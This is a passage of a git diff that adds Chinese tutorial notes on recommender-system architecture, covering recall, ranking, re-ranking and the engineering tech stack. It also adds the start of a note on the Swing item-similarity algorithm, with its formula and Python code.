+精排层模型是推荐系统中涵盖的研究方向最多，有非常多的子领域值得研究探索，这也是推荐系统中技术含量最高的部分，毕竟它是直接面对用户，产生的结果对用户影响最大的一层。目前精排层深度学习已经一统天下了，精排阶段采用的方案相对通用，首先一天的样本量是几十亿的级别，我们要解决的是样本规模的问题，尽量多的喂给模型去记忆，另一个方面时效性上，用户的反馈产生的时候，怎么尽快的把新的反馈给到模型里去，学到最新的知识。
+
+- 重排
+
+常见的有三种优化目标：Point Wise、Pair Wise 和 List Wise。重排序阶段对精排生成的Top-N个物品的序列进行重新排序，生成一个Top-K个物品的序列，作为排序系统最后的结果，直接展现给用户。重排序的原因是因为多个物品之间往往是相互影响的，而精排序是根据PointWise得分，容易造成推荐结果同质化严重，有很多冗余信息。而重排序面对的挑战就是海量状态空间如何求解的问题，一般在精排层我们使用AUC作为指标，但是在重排序更多关注NDCG等指标。
+
+重排序在业务中，获取精排的排序结果，还会根据一些策略、运营规则参与排序，比如强制去重、间隔排序、流量扶持等、运营策略、多样性、context上下文等，重新进行一个微调。重排序更多的是List Wise作为优化目标的，它关注的是列表中商品顺序的问题来优化模型，但是一般List Wise因为状态空间大，存在训练速度慢的问题。
+
+由于精排模型一般比较复杂，基于系统时延考虑，一般采用point-wise方式，并行对每个item进行打分。这就使得打分时缺少了上下文感知能力。用户最终是否会点击购买一个商品，除了和它自身有关外，和它周围其他的item也息息相关。重排一般比较轻量，可以加入上下文感知能力，提升推荐整体算法效率。比如三八节对美妆类目商品提权，类目打散、同图打散、同卖家打散等保证用户体验措施。重排中规则比较多，但目前也有不少基于模型来提升重排效果的方案。
+
+- 混排
+
+多个业务线都想在Feeds流中获取曝光，则需要对它们的结果进行混排。比如推荐流中插入广告、视频流中插入图文和banner等。可以基于规则策略（如广告定坑）和强化学习来实现。
+
+## 总结
+
+整篇文章从系统架构梳理了Netfliex的经典推荐系统架构，整个架构更多是偏向实时性能和效果之间tradeoff的结果。如果从另外的角度看推荐系统架构，比如从数据流向，或者说从推荐系统各个时序依赖来看，就是我们最熟悉的召回、粗排、精排、重排、混排等模块了。这种角度来看是把推荐系统从前往后串起来，其中每一个模块既有在离线层工作的，也有在在线层工作的。而从数据驱动角度看，更能够看到推荐系统的完整技术栈，推荐系统当前面临的局限和发展方向。
+
+召回、排序这些里面单拿出任何一个模块都非常复杂。这也是为什么大家都说大厂拧螺丝的原因，因为很可能某个人只会负责其中很小的一个模块。许多人说起自己的模块来如数家珍，但对于全局缺乏认识，带来的结果是当你某天跳槽了或者是工作内容变化了，之前从工作当中的学习积累很难沉淀下来，这对于程序员的成长来说是很不利的。
+
+所以希望这篇文章能够帮助大家在负责某一个模块，优化某一个功能的时候，除了能够有算法和数据，还能能够考虑对整个架构带来的影响，如何提升整体的一个性能，慢慢开阔自己的眼界，构建出一个更好的推荐系统。
+
+
+
+**参考资料**
+- 《从零开始构建企业级推荐系统》
+- [Netflix](https://netflixtechblog.com/system-architectures-for-personalization-and-recommendation-e081aa94b5d8)
+- [回顾经典，Netflix的推荐系统架构](https://zhuanlan.zhihu.com/p/114590897)
+- [大数据处理中的Lambda架构和Kappa架构](https://www.cnblogs.com/xiaodf/p/11642555.html)
+- [张俊林：推荐系统技术演进趋势](https://mp.weixin.qq.com/s?__biz=MzU1NTMyOTI4Mw==&mid=2247496363&idx=1&sn=0d2b2ac176e2a72eb2e760b7b591788f&chksm=fbd740c7cca0c9d16c76fdeb1a874a53f7408d8125b2e1bed3173ecb69d131167c1c9c35c71f&scene=21#wechat_redirect)
+- [推荐算法架构1：召回/等](https://blog.csdn.net/u013510838/article/details/123023259)
+- [微信"看一看"多模型内容策略与召回](https://mp.weixin.qq.com/s?__biz=MzU1NTMyOTI4Mw==&mid=2247503484&idx=2&sn=e2a2cdd3a517ab09e903e69ccb1e9f94&chksm=fbd77c10cca0f50642dde47439ed919aa2e61b7ff57bc4cbaacc3acaac3c620a1ed6f92684ab&scene=21#wechat_redirect)
+- [阿里粗排技术体系](https://mp.weixin.qq.com/s/CN3a4Zb4yEjgi4mkm2lX6w)
+- [推荐系统架构与算法流程详解](https://mp.weixin.qq.com/s/tgZIdYENwQqDScjt7R28EQ)
+- [业内推荐系统架构介绍](https://mp.weixin.qq.com/s/waLW4aULeLoOB54_X-CzdQ)
+- [推荐系统笔记，一张图看懂系统架构](https://mp.weixin.qq.com/s/Zj4lCBe2bYNT6uT2-d-pNg)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch01/ch1.3.md b/技术资源汇总(杭电支持版)/4.人工智能/ch01/ch1.3.md
new file mode 100644
index 0000000..a8cda17
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch01/ch1.3.md
@@ -0,0 +1,200 @@
+##  推荐系统的技术栈
+
+推荐系统是一个非常大的框架，有非常多的模块在里面，完整的一套推荐系统体系里，不仅会涉及到推荐算法工程师、后台开发工程师、数据挖掘/分析工程师、NLP/CV工程师还有前端、客户端甚至产品、运营等支持。我们作为算法工程师，需要掌握的技术栈主要就是在算法和工程两个区域了，所以这篇文章将会分别从算法和工程两个角度出发，结合两者分析当前主流的一些推荐算法技术栈。
+
+## 算法
+
+首先我们从推荐系统架构出发，一种分法是将整个推荐系统架构分为召回、粗排、精排、重排、混排等模块。它的分解方法是从一份数据如何从生产出来，到线上服务完整顺序的一个流程。因为在不同环节，我们一般会考虑不同的算法，所以这种角度出发我们来研究推荐系统主流的算法技术栈。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220409211354342.png" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+为了帮助新手在后文方便理解，首先简单介绍这些模块的功能主要是：
+- 召回：从推荐池中选取几千上万的item，送给后续的排序模块。由于召回面对的候选集十分大，且一般需要在线输出，故召回模块必须轻量快速低延迟。由于后续还有排序模块作为保障，召回不需要十分准确，但不可遗漏（特别是搜索系统中的召回模块）。目前基本上采用多路召回解决范式，分为非个性化召回和个性化召回。个性化召回又有content-based、behavior-based、feature-based等多种方式。
+- 粗排：粗拍的原因是有时候召回的结果还是太多，精排层速度还是跟不上，所以加入粗排。粗排可以理解为精排前的一轮过滤机制，减轻精排模块的压力。粗排介于召回和精排之间，要同时兼顾精准性和低延迟。一般模型也不能过于复杂
+- 精排：获取粗排模块的结果，对候选集进行打分和排序。精排需要在最大时延允许的情况下，保证打分的精准性，是整个系统中至关重要的一个模块，也是最复杂，研究最多的一个模块。精排系统构建一般需要涉及样本、特征、模型三部分。
+- 重排：获取精排的排序结果，基于运营策略、多样性、context上下文等，重新进行一个微调。比如三八节对美妆类目商品提权，类目打散、同图打散、同卖家打散等保证用户体验措施。重排中规则比较多，但目前也有不少基于模型来提升重排效果的方案。
+- 混排：多个业务线都想在Feeds流中获取曝光，则需要对它们的结果进行混排。比如推荐流中插入广告、视频流中插入图文和banner等。可以基于规则策略（如广告定坑）和强化学习来实现。
+
+### 画像层
+
+首先是推荐系统的物料库，这部分内容里，算法主要体现在如何绘制一个用户画像和商品画像。这个环节是推荐系统架构的基础设施，一般可能新用户/商品进来，或者每周定期会重新一次整个物料库，计算其中信息，为用户打上标签，计算统计信息，为商品做内容理解等内容。其中用户画像是大家比较容易理解的，比如用户年龄、爱好通常APP会通过注册界面收集这些信息。而商品画像形式就非常多了，比如淘宝主要推荐商品，抖音主要是短视频，所以大家的物料形式比较多，内容、质量差异也比较大，所以内容画像各家的做法也不同，当前比较主流的都会涉及到一个多模态信息内容理解。下面我贴了一个微信看一看的内容画像框架，然后我们来介绍下在这一块主要使用的算法技术。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220410143333692.png" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+一般推荐系统会加入多模态的一个内容理解。我们用短视频形式举个例子，假设用户拍摄了一条短视频，上传到了平台，从推荐角度看，首先我们有的信息是这条短视频的作者、长度、作者为它选择的标签、时间戳这些信息。但是这对于推荐来说是远远不够的，首先作者打上的标签不一定准确反映作品，原因可能是我们模型的语义空间可能和作者/现实世界不一致。其次我们需要更多维度的特征，比如有些用户喜欢看小姐姐跳舞，那我希望能够判断一条视频中是否有小姐姐，这就涉及到封面图的基于CV的内容抽取或者整个视频的抽取；再比如作品的标题一般能够反映主题信息，除了很多平台常用的用“#”加上一个标签以外，我们也希望能够通过标题抽取出基于NLP的信息。还有更多的维度可以考虑：封面图多维度的多媒体特征体系，包括人脸识别，人脸embedding，标签，一二级分类，视频embedding表示，水印，OCR识别，清晰度，低俗色情，敏感信息等多种维度。
+
+这里面涉及的任务主要是CV的目标检测、语义分割等任务，NLP中的情感分析、摘要抽取、自然语言理解等任务。但是这部分算法一般团队都会有专门负责的组，不需要推荐算法工程师来负责，他们会有多模态的语意标签输出，主要形式是各种粒度的Embedding。我们只需要在我们的推荐模型中引入这些预训练的Embedding。
+
+#### 文本理解
+
+这应该是用的最多的模态信息，包括item的标题、正文、OCR、评论等数据。这里面也可以产生不同粒度的信息，比如文本分类，把整个item做一个粗粒度的分类。
+
+这里的典型算法有：RNN、TextCNN、FastText、Bert等；
+
+#### 关键词标签
+
+相比文本分类，关键词是更细粒度的信息，往往是一个mutil-hot的形式，它会对item在我们的标签库的选取最合适的关键词或者标签。
+
+这里典型的算法有：TF-IDF、Bert、LSTM-CRF等。
+
+#### 内容理解
+
+在很多场景下，推荐的主题都是视频或者图片，远远多于仅推荐文本的情况，这里视频/图片item中的内容中除了文本的内容以外，更多的信息其实来源于视频/图片内容本身, 因此需要尝试从多种模态中抽取更丰富的信息。主要包括分类信息、封面图OCR的信息、视频标签信息等
+
+这里典型的算法有：TSN、RetinaFace、PSENet等。
+
+#### 知识图谱
+
+知识图谱作为知识承载系统，用于对接内外部关键词信息与词关系信息；内容画像会将原关系信息整合，并构建可业务应用的关系知识体系，其次，依赖业务中积累用户行为产生的实体关系数据，本身用户需求的标签信息，一并用于构建业务知识的兴趣图谱，基于同构网络与异构网络表示学习等核心模型，输出知识表示与表达，抽象后的图谱用于文本识别，推荐语义理解，兴趣拓展推理等场景，直接用于兴趣推理的冷启场景已经验证有很不错的收益。
+
+这方面的算法有：KGAT、RippleNet等。
+
+### 召回/粗排
+
+推荐系统的召回阶段可以理解为根据用户的历史行为数据，为用户在海量的信息中粗选一批待推荐的内容，挑选出一个小的候选集的过程。粗排用到的很多技术与召回重合，所以放在一起讲，粗排也不是必需的环节，它的功能对召回的结果进行个粗略的排序，在保证一定精准的前提下，进一步减少往后传送的物品数量，这就是粗排的作用。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220410000221817.png" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+召回模块面对几百上千万的推荐池物料规模，候选集十分庞大。由于后续有排序模块作为保障，故不需要十分准确，但必须保证不要遗漏和低延迟。目前主要通过多路召回来实现，一方面各路可以并行计算，另一方面取长补短。可以看到各类同类竞品的系统虽然细节上多少存在差异，但不约而同的采取了多路召回的架构，这类设计考虑如下几点问题：
+
+1. **考虑用户层面**：用户兴趣的多元化，用户需求与场景的多元化：例如：新闻需求，重大要闻，相关内容沉浸阅读等等
+
+2. **考虑系统层面**：增强系统的鲁棒性；部分召回失效，其余召回队列兜底不会导致整个召回层失效；排序层失效，召回队列兜底不会导致整个推荐系统失效
+
+3. **系统多样性内容分发**：图文、视频、小视频；精准、试探、时效一定比例；召回目标的多元化，例如：相关性，沉浸时长，时效性，特色内容等等
+
+4. **可解释性推荐一部分召回是有明确推荐理由的**：很好的解决产品性数据的引入；
+
+介绍了召回任务的目的和场景后，接下来分析召回层面主要的技术栈，因为召回一般都是多路召回，从模型角度分析有很多召回算法，这种一般是在召回层占大部分比例点召回，除此之外，还会有探索类召回、策略运营类召回、社交类召回等。接下来我们着重介绍模型类召回。
+
+#### 经典模型召回
+
+随着技术发展，在Embedding基础上的模型化召回是一个技术发展潮流方向。这种召回的范式是通过某种算法，对user和item分别打上Embedding，然后user与item在线进行KNN计算实时查询最近领结果作为召回结果，快速找出匹配的物品。需要注意的是如果召回采用模型召回方法，优化目标最好和排序的优化目标一致，否则可能被过滤掉。
+
+在这方面典型的算法有：FM、双塔DSSM、Multi-View DNN等。
+
+#### 序列模型召回
+
+推荐系统主要解决的是基于用户的隐式阅读行为来做个性化推荐的问题，序列模型一些基于神经网络模型学习得到Word2Vec模型，再后面的基于RNN的语言模型，最先用的最多的Bert，这些方法都可以应用到召回的学习中。
+
+用户在使用 APP 或者网站的时候，一般会产生一些针对物品的行为，比如点击一些感兴趣的物品，收藏或者互动行为，或者是购买商品等。而一般用户之所以会对物品发生行为，往往意味着这些物品是符合用户兴趣的，而不同类型的行为，可能代表了不同程度的兴趣。比如购买就是比点击更能表征用户兴趣的行为。在召回阶段，如何根据用户行为序列打 embedding，可以采取有监督的模型，比如 Next Item Prediction 的预测方式即可；也可以采用无监督的方式，比如物品只要能打出 embedding，就能无监督集成用户行为序列内容，例如 Sum Pooling。
+
+这方面典型的算法有：CBOW、Skip-Gram、GRU、Bert等。
+
+#### 用户序列拆分
+
+上文讲了利用用户行为物品序列，打出用户兴趣 Embedding 的做法。但是，另外一个现实是：用户往往是多兴趣的，比如可能同时对娱乐、体育、收藏感兴趣。这些不同的兴趣也能从用户行为序列的物品构成上看出来，比如行为序列中大部分是娱乐类，一部分体育类，少部分收藏类等。那么能否把用户行为序列物品中，这种不同类型的用户兴趣细分，而不是都笼统地打到一个用户兴趣 Embedding 里呢？用户多兴趣拆分就是解决这类更细致刻画用户兴趣的方向。
+
+本质上，把用户行为序列打到多个 embedding 上，实际它是个类似聚类的过程，就是把不同的 Item，聚类到不同的兴趣类别里去。目前常用的拆分用户兴趣 embedding 的方法，主要是胶囊网络和 Memory Network，但是理论上，很多类似聚类的方法应该都是有效的，所以完全可以在这块替换成你自己的能产生聚类效果的方法来做。
+
+这方面典型的算法有：Multi-Interest Network with Dynamic Routing for Recommendation at Tmall等。
+
+#### 知识图谱
+
+知识图谱有一个独有的优势和价值，那就是对于推荐结果的可解释性；比如推荐给用户某个物品，可以在知识图谱里通过物品的关键关联路径给出合理解释，这对于推荐结果的解释性来说是很好的，因为知识图谱说到底是人编码出来让自己容易理解的一套知识体系，所以人非常容易理解其间的关系。知识图谱的可解释性往往是和图路径方法关联在一起的，而 Path 类方法，很多实验证明了，在排序角度来看，是效果最差的一类方法，但是它在可解释性方面有很好的效果，所以往往可以利用知识图谱构建一条可解释性的召回通路。
+
+这方面的算法有：KGAT、RippleNet等。
+
+#### 图模型
+
+推荐系统中User和Item相关的行为、需求、属性和社交信息具有天然的图结构，可以使用一张复杂的异构图来表示整个推荐系统。图神经网络模型推荐就是基于这个想法，把异构网络中包含的结构和语义信息编码到结点Embedding表示中，并使用得到向量进行个性化推荐。知识图谱其实是图神经网络的一个比较特殊的具体实例，但是，知识图谱因为编码的是静态知识，而不是用户比较直接的行为数据，和具体应用距离比较远，这可能是导致两者在推荐领域表现有差异的主要原因。
+
+这方面典型的算法有：GraphSAGE、PinSage等。
+
+### 精排
+
+排序模型是推荐系统中涵盖的研究方向最多，有非常多的子领域值得研究探索，这也是推荐系统中技术含量最高的部分，毕竟它是直接面对用户，产生的结果对用户影响最大的一层。目前精排层深度学习已经一统天下了，这是王喆老师《深度学习推荐算法》书中的精排层模型演化线路。具体来看分为DNN、Wide&Deep两大块，实际深入还有序列建模，以及没有提到的多任务建模都是工业界非常常用的，所以我们接下来具体谈论其中每一块的技术栈。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220410234144149.png" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+#### 特征交叉模型
+
+在深度学习推荐算法发展早期，很多论文聚焦于如何提升模型的特征组合和交叉的能力，这其中既包含隐式特征交叉Deep Crossing也有采用显式特征交叉的探究。本质上是希望模型能够摆脱人工先验的特征工程，实现端到端的一套模型。
+
+在早期的推荐系统中，基本是由人工进行特征交叉的，往往凭借对业务的理解和经验，但是费时费力。于是有了很多的这方面的研究，从FM到GBDT+LR都是引入模型进行自动化的特征交叉。再往后就是深度模型，深度模型虽然有万能近似定理，但是真正想要发挥模型的潜力，显式的特征交叉还是必不可少的。
+
+这方面的经典研究工作有：DCN、DeepFM、xDeepFM等；
+
+#### 序列模型
+
+在推荐系统中，历史行为序列是非常重要的特征。在序列建模中，主要任务目标是得到用户此刻的兴趣向量（user interest vector）。如何刻画用户兴趣的广泛性，是推荐系统比较大的一个难点，用户历史行为序列建模的研究经历了从Pooling、RNN到attention、capsule再到transformer的顺序。在序列模型中，又有很多细分的方向，比如根据用户行为长度有研究用户终身行为序列的，也有聚焦当下兴趣的，还有研究如何抽取序列特征的抽取器，比如研究attention还是胶囊网络。
+
+这方面典型的研究工作有：DIN、DSIN、DIEN、SIM等；
+
+#### 多模态信息融合
+
+在上文我们提到算法团队往往会利用内容画像信息，既有基于CV也有基于NLP抽取出来的信息。这是非常合理的，我们在逛抖音、淘宝的时候关注的不仅仅item的价格、品牌，同样会关注封面小姐姐好不好看、标题够不够震惊等信息。除此之外，在冷启动场景下，我们能够利用等信息不够多，如果能够使用多模态信息，能很大程度上解决数据稀疏的问题。
+
+传统做法在多模态信息融合就是希望把不同模态信息利用起来，通过Embedding技术融合进模型。在推荐领域，主流的做法还是一套非端到端的体系，由其他模型抽取出多模态信息，推荐只需要融合入这些信息就好了。同时也有其他工作是利用注意力机制等方法来学习不同模态之间的关联，来增强多模态的表示。
+
+比较典型的工作有：Image Matters: Visually modeling user behaviors using Advanced Model Server、UMPR等。
+
+#### 多任务学习
+
+很多场景下我们模型优化的目标都是CTR，有一些场景只考虑CTR是不够的，点击率模型、时长模型和完播率模型是大部分信息流产品推荐算法团队都会尝试去做的模型。单独优化点击率模型容易推出来标题党，单独优化时长模型可能推出来的都是长视频或长文章，单独优化完播率模型可能短视频短图文就容易被推出来，所以多目标就应运而生。信息流推荐中，我们不仅希望用户点进我们的item，还希望能有一个不错的完播率，即希望用户能看完我们推荐的商品。或者电商场景希望用户不仅点进来，还希望他买下或者加入购物车了。这些概率实际上就是模型要学习的目标，多种目标综合起来，包括阅读、点赞、收藏、分享等等一系列的行为，归纳到一个模型里面进行学习，这就是推荐系统的多目标学习。
+
+这方面比较典型的算法有：ESSM、MMoE、DUPN等。
+
+#### 强化学习
+
+强化学习与一般有监督的深度学习相比有一些很显著的优势，首先强化学习能够比较灵活的定义优化的业务目标，考虑推荐系统长短期的收益，比如用户留存，在深度模型下，我们很难设计这个指标的优化函数，而强化学习是可以对长期收益下来建模。第二是能够体现用户兴趣的动态变化，比如在新闻推荐下，用户兴趣变化很快，强化学习更容易通过用户行为动态产生推荐结果。最后是EE也就是利用探索机制，这种一种当前和长期收益的权衡，强化学习能够更好的调节这里的回报。
+
+这方面比较典型的算法有：DQN、Reinforcement Learning for Slate-based Recommender Systems: A Tractable Decomposition and Practical Methodology；
+
+#### 跨域推荐
+
+一般一家公司业务线都是非常多的，比如腾讯既有腾讯视频，也有微信看一看、视频号，还有腾讯音乐，如果能够结合这几个场景的数据，同时进行推荐，一方面对于冷启动是非常有利的，另一方面也能补充更多数据，更好的进行精确推荐。
+
+跨域推荐系统相比一般的推荐系统要更加复杂。在传统推荐系统中，我们只需要考虑建立当前领域内的一个推荐模型进行分析；而在跨域推荐中，我们更要关心在不同领域间要选择何种信息进行迁移，以及如何迁移这些信息，这是跨域推荐系统中非常关键的问题。
+
+这方面典型的模型有：DTCDR、MV-DNN、EMCDR等；
+
+### 重排序
+
+我们知道常见的有三种优化目标：Point Wise、Pair Wise 和 List Wise。重排序阶段对精排生成的Top-N个物品的序列进行重新排序，生成一个Top-K个物品的序列，作为排序系统最后的结果，直接展现给用户。重排序的原因是因为多个物品之间往往是相互影响的，而精排序是根据PointWise得分，容易造成推荐结果同质化严重，有很多冗余信息。而重排序面对的挑战就是海量状态空间如何求解的问题，一般在精排层我们使用AUC作为指标，但是在重排序更多关注NDCG等指标。
+
+重排序在业务中，还会根据一些策略、运营规则参与排序，比如强制去重、间隔排序、流量扶持等，但是总计趋势上看还是算法排序越来越占据主流趋势。重排序更多的是List Wise作为优化目标的，它关注的是列表中商品顺序的问题来优化模型，但是一般List Wise因为状态空间大，存在训练速度慢的问题。这方面典型的做法，基于RNN、Transformer、强化学习的都有，这方面因为不是推荐的一个核心，所以没有展开来讲，而且这一块比较依赖实际的业务场景。
+
+这里的经典算法有：MRR、DPP、RNN等；
+
+## 工程
+
+推荐系统的实现需要依托工程，很多研究界Paper的idea满天飞，却忽视了工业界能否落地，进入工业界我们很难或者很少有组是做纯research的，所以我们同样有很多工程技术需要掌握。下面列举了在推荐中主要用到的工程技术：
+
+- **编程语言**：Python、Java（scala）、C++、sql、shell；
+- **机器学习**：Tensorflow/Pytorch、GraphLab/GraphCHI、LGB/Xgboost、SKLearn；
+- **数据分析**：Pandas、Numpy、Seaborn、Spark；
+- 数据存储：mysql、redis、mangodb、hive、kafka、es、hbase；
+- 相似计算：annoy、faiss、kgraph
+- 流计算：Spark Streaming、Flink
+- 分布式：Hadoop、Spark
+
+上面那么多技术，我内容最重要的就是加粗的三部分，第一是语言：必须掌握的是Python，C++和JAVA中根据不同的组使用的是不同的语言，这个如果没有时间可以等进组后慢慢学习。然后是机器学习框架：Tensorflow和Pytorch至少要掌握一个吧，前期不用纠结学哪个，这个迁移成本很低，基本能够达到触类旁通，而且面试官不会为难你只会这个不会那个。最后是数据分析工具：Pandas是我们处理单机规模数据的利器，但是进入工业界，Hadoop和Spark是需要会用的，不过不用学太深，会用即可。
+
+## 总结
+
+本文从算法和工程两个角度分析了推荐系统的一个技术栈，但是还有很多方向遗漏，也有很多方向受限于现在的技术水平深度不够和有错误的情况，后续会不断补充和更正。
+
+所以技术栈我列出的是一个非常广度的技术，实际上每一个技术钻研下去都需要非常多时间，而且不一定是你实际工作中会遇到的，所以不要被那么多技术吓到，也要避免陷入技术细节的海洋中。
+
+我和非常多的大厂面试官讨论过技术深度和广度的问题，得出来的结论是对于入门的推荐算法工程师而言，实际上深度和广度的要求取决于你要去的组，有些组有很深的推荐技术沉淀，有很强的工程师团队，这样的组就会希望候选者能够在某个方面有比较深入的研究，这个方面既包含工程方面也包含研究方面。但是如果是比较新的组、或者技术沉淀不深、推荐不是主要任务的组，对深度要求就不会很高。总而言之，我认为对于应届生/实习生来说，在推荐最重要的工程技术/研究方向，至少在召回和排序模块，需要选一个作为方向，是需要较深钻研。对于其他技术/研究方向需要有一定了解，比如可以没用过强化学习，但是要知道强化学习能够在推荐中解决什么问题，剩下的可以等到真实**遇到需要后再去学习**。
+
+
+
+**参考资料**
+
+- [万字入门推荐系统](https://mp.weixin.qq.com/s/aaOosZ57qJpIU6cma820Xw)
+- [张俊林：技术演进趋势：召回->排序->重排](https://mp.weixin.qq.com/s?__biz=MzU1NTMyOTI4Mw==&mid=2247496363&idx=1&sn=0d2b2ac176e2a72eb2e760b7b591788f&chksm=fbd740c7cca0c9d16c76fdeb1a874a53f7408d8125b2e1bed3173ecb69d131167c1c9c35c71f&scene=21#wechat_redirect)
+- [微信"看一看"多模型内容策略与召回](https://mp.weixin.qq.com/s?__biz=MzU1NTMyOTI4Mw==&mid=2247503484&idx=2&sn=e2a2cdd3a517ab09e903e69ccb1e9f94&chksm=fbd77c10cca0f50642dde47439ed919aa2e61b7ff57bc4cbaacc3acaac3c620a1ed6f92684ab&scene=21#wechat_redirect)
+- [多目标学习在推荐系统中的应用](https://mp.weixin.qq.com/s/u_5RdZ-BcIu_RoWNri76ig)
+- [强化学习在美团“猜你喜欢”的实践](https://mp.weixin.qq.com/s?__biz=MjM5NjQ5MTI5OA==&mid=2651749434&idx=2&sn=343e811408542dd1984582b8639240a6&chksm=bd12a5778a652c61ed4297f1a17582cad4ca6b8e8d4d66843f169e0eda9f6aede988bc675743&mpshare=1&scene=23&srcid=1115EcgbMw6GAhMnzV0URvgd#rd)
+- [推荐系统技术演进趋势：重排篇](https://mp.weixin.qq.com/s/YorzRyK0iplzqutnhEhrvw)
+- [阿里强化学习重排实践](https://mp.weixin.qq.com/s/ylavFA_MXLUhIBLCqxAjLQ)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.1/Swing.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.1/Swing.md
new file mode 100644
index 0000000..ac321df
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.1/Swing.md
@@ -0,0 +1,288 @@
+# Swing(Graph-based)
+## 动机
+大规模推荐系统需要实时对用户行为做出海量预测，为了保证这种实时性，大规模的推荐系统通常严重依赖于预先计算好的产品索引。产品索引的功能为：给定种子产品返回排序后的候选相关产品列表。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片2relations.png" alt="在这里插入图片描述" style="zoom:30%;" /> 
+</div>
+
+相关性产品索引主要包含两部分：替代性产品和互补性产品。例如图中的不同种类的衬衫构成了替代关系，而衬衫和风衣裤子等构成了互补关系。用户通常希望在完成购买行为之前尽可能看更多的衬衫，而用户购买过衬衫之后更希望看到与之搭配的单品而不是其他衬衫了。
+
+## 之前方法局限性
+- 基于 Cosine, Jaccard, 皮尔逊相关性等相似度计算的协同过滤算法，在计算邻居关联强度的时候只关注于 Item-based (常用，因为item相比于用户变化的慢，且新Item特征比较容易获得)，Item-based CF 只关注于 Item-User-Item 的路径，把所有的User-Item交互都平等得看待，从而忽视了 User-Item 交互中的大量噪声，推荐精度存在局限性。
+- 对互补性产品的建模不足，可能会导致用户购买过手机之后还继续推荐手机，但用户短时间内不会再继续购买手机，因此产生无效曝光。
+
+## 贡献
+提出了高效建立产品索引图的技术。
+主要包括：
+- Swing 算法利用 user-item 二部图的子结构捕获产品间的替代关系。
+- Surprise 算法利用商品分类信息和用户共同购买图上的聚类技术来建模产品之间的组合关系。
+
+## Swing算法
+Swing 通过利用 User-Item-User 路径中所包含的信息，考虑 User-Item 二部图中的鲁棒内部子结构计算相似性。
+- 什么是内部子结构？
+  以经典的啤酒尿布故事为例，张三同时购买了啤酒和尿布，这可能是一种巧合。但两个甚至多个顾客都同时购买了啤酒尿布，这就证明啤酒和尿布具有相关关系。这样共同购买啤酒和尿布的用户越多，啤酒和尿布的相关度就会越高。
+  <div align=center>
+  <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片example_of_swing.png" alt="在这里插入图片描述" style="zoom:30%;" /> 
+  </div>
+  图中的红色四边形就是一种Swing子结构，这种子结构可以作为给王五推荐尿布的依据。
+
+- 通俗解释：若用户 $u$ 和用户 $v$ 之间除了购买过 $i$ 外，还购买过商品 $j$ ，则认为两件商品是具有某种程度上的相似的。也就是说，商品与商品之间的相似关系，是通过用户关系来传递的。为了衡量物品 $i$ 和 $j$ 的相似性，比较同时购买了物品 $i$ 和 $j$ 的用户 $u$ 和用户 $v$， 如果这两个用户共同购买的物品越少，即这两个用户原始兴趣不相似，但仍同时购买了两个相同的物品 $i$ 和 $j$， 则物品 $i$ 和 $j$ 的相似性越高。
+
+- 计算公式
+
+  $$s(i,j)=\sum\limits_{u\in U_i\cap U_j} \sum\limits_{v \in U_i\cap U_j}w_u*w_v* \frac{1}{\alpha+|I_u \cap I_v|}$$
+
+  其中$U_i$ 是点击过商品i的用户集合，$I_u$ 是用户u点击过的商品集合，$\alpha$是平滑系数。
+
+  $w_u=\frac{1}{\sqrt{|I_u|}},w_v=\frac{1}{\sqrt{|I_v|}}$ 是用户权重参数，来降低活跃用户的影响。
+
+- 代码实现
+  - Python （建议自行debug方便理解）
+    ```python
+    from itertools import combinations
+    import pandas as pd
+    alpha = 0.5
+    top_k = 20
+    def load_data(train_path):
+        train_data = pd.read_csv(train_path, sep="\t", engine="python", names=["userid", "itemid", "rate"])#提取用户交互记录数据
+        print(train_data.head(3))
+        return train_data
+    
+    def get_uitems_iusers(train):
+        u_items = dict()
+        i_users = dict()
+        for index, row in train.iterrows():#处理用户交互记录 
+            u_items.setdefault(row["userid"], set())
+            i_users.setdefault(row["itemid"], set())
+            u_items[row["userid"]].add(row["itemid"])#得到user交互过的所有item
+            i_users[row["itemid"]].add(row["userid"])#得到item交互过的所有user
+        print("使用的用户个数为：{}".format(len(u_items)))
+        print("使用的item个数为：{}".format(len(i_users)))
+        return u_items, i_users 
+    
+    def swing_model(u_items, i_users):
+        # print([i for i in i_users.values()][:5])
+        # print([i for i in u_items.values()][:5])
+        item_pairs = list(combinations(i_users.keys(), 2)) #全排列组合对
+        print("item pairs length：{}".format(len(item_pairs)))
+        item_sim_dict = dict()
+        for (i, j) in item_pairs:
+            user_pairs = list(combinations(i_users[i] & i_users[j], 2)) #item_i和item_j对应的user取交集后全排列 得到user对
+            result = 0
+            for (u, v) in user_pairs:
+                result += 1 / (alpha + list(u_items[u] & u_items[v]).__len__()) #分数公式
+            if result != 0 :
+                item_sim_dict.setdefault(i, dict())
+                item_sim_dict[i][j] = format(result, '.6f')
+        return item_sim_dict
+    
+    def save_item_sims(item_sim_dict, top_k, path):
+        new_item_sim_dict = dict()
+        try:
+            writer = open(path, 'w', encoding='utf-8')
+            for item, sim_items in item_sim_dict.items():
+                new_item_sim_dict.setdefault(item, dict())
+                new_item_sim_dict[item] = dict(sorted(sim_items.items(), key = lambda k:k[1], reverse=True)[:top_k])#排序取出 top_k个相似的item
+                writer.write('item_id:%d\t%s\n' % (item, new_item_sim_dict[item]))
+            print("SUCCESS: top_{} item saved".format(top_k))
+        except Exception as e:
+            print(e.args)
+    
+    if __name__ == "__main__":
+        train_data_path = "./ratings_final.txt"
+        item_sim_save_path = "./item_sim_dict.txt"
